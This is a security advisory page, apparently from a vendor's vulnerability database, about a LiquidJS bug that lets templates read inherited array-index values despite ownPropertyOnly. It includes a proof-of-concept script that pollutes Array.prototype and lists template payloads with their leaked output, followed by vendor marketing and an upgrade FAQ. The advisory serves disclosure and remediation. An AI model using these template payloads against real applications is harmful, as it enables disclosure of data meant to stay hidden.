Summary
LiquidJS: ownPropertyOnly bypass for inherited array indices in first/last/join/reverse/slice/compact, .first/.last, negative index, and for-loop iteration
LiquidJS’s ownPropertyOnly option is intended to prevent templates from reading inherited or prototype properties from scope data.
With ownPropertyOnly: true, direct access such as:
{{ a[0] }}
correctly blocks an inherited array index. However, the same inherited value is still disclosed through:
.first
.last
negative indexing
for-loop iteration
first
last
join
reverse
slice
compact
Proof of concept
const { Liquid } = require("liquidjs");
const engine = new Liquid({ ownPropertyOnly: true });
Array.prototype[0] = "ARRAY_PROTO_POLLUTED";
Object.prototype.secret = "OBJECT_PROTO_POLLUTED";
const a = [];
a.length = 1;
const o = {};
for (const [src, scope] of [
["{{ a[0] }}", { a }],
["{{ a[-1] }}", { a }],
["{{ o.secret }}", { o }],
["{{ a.first }}", { a }],
["{{ a.last }}", { a }],
["{{ a | first }}", { a }],
["{{ a | last }}", { a }],
["{{ a | join: ',' }}", { a }],
["{{ a | reverse | first }}", { a }],
["{{ a | slice: 0, 1 | join: ',' }}", { a }],
["{{ a | compact | join: ',' }}", { a }],
["{% for x in a %}[{{ x }}]{% endfor %}", { a }],
]) {
console.log(src, "=>", JSON.stringify(engine.parseAndRenderSync(src, scope)));
}
delete Array.prototype[0];
delete Object.prototype.secret;
Observed behavior
{{ a[0] }} => ""
{{ a[-1] }} => "ARRAY_PROTO_POLLUTED"
{{ o.secret }} => ""
{{ a.first }} => "ARRAY_PROTO_POLLUTED"
{{ a.last }} => "ARRAY_PROTO_POLLUTED"
{{ a | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | last }} => "ARRAY_PROTO_POLLUTED"
{{ a | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | reverse | first }} => "ARRAY_PROTO_POLLUTED"
{{ a | slice: 0, 1 | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{{ a | compact | join: ',' }} => "ARRAY_PROTO_POLLUTED"
{% for x in a %}[{{ x }}]{% endfor %} => "[ARRAY_PROTO_POLLUTED]"
Expected behavior
When ownPropertyOnly: true is enabled, inherited array indices should be treated as absent, matching the behavior of:
{{ a[0] }}
{{ o.secret }}
Inherited or prototype-provided array-index values should not be exposed through array filters, array properties, negative indexing, or loop iteration.
Root cause
ownPropertyOnly appears to be enforced in readJSProperty(), but several array-element access paths use raw or native array operations instead.
Examples include:
negative indexing using obj[obj.length + key]
readFirst/readLast using obj[0] / obj[obj.length - 1]
filters such as first, last, join, reverse, slice, and compact operating on arrays through native element reads
for-loop iteration materializing inherited array indices
Because these paths do not consistently check whether an array index is an own property, inherited array indices can be read even when ownPropertyOnly is enabled.
Impact
This is an information disclosure issue when an application relies on ownPropertyOnly: true to safely render templates over untrusted or prototype-polluted scope data.
Object prototype property reads are blocked as expected, but inherited Array.prototype index reads are not consistently blocked. An attacker who can influence prototype state or inherited array-index data may cause templates to disclose values that ownPropertyOnly is expected to hide.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-106120? CVE-2026-106120 is a medium-severity security vulnerability in liquidjs (npm), affecting versions <= 10.27.1. It is fixed in 10.27.2.
- Which versions of liquidjs are affected by CVE-2026-106120? liquidjs (npm) versions <= 10.27.1 is affected.
- Is there a fix for CVE-2026-106120? Yes. CVE-2026-106120 is fixed in 10.27.2. Upgrade to this version or later.
- Is CVE-2026-106120 exploitable, and should I be worried? Whether CVE-2026-106120 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-106120 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-106120? Upgrade
liquidjsto 10.27.2 or later.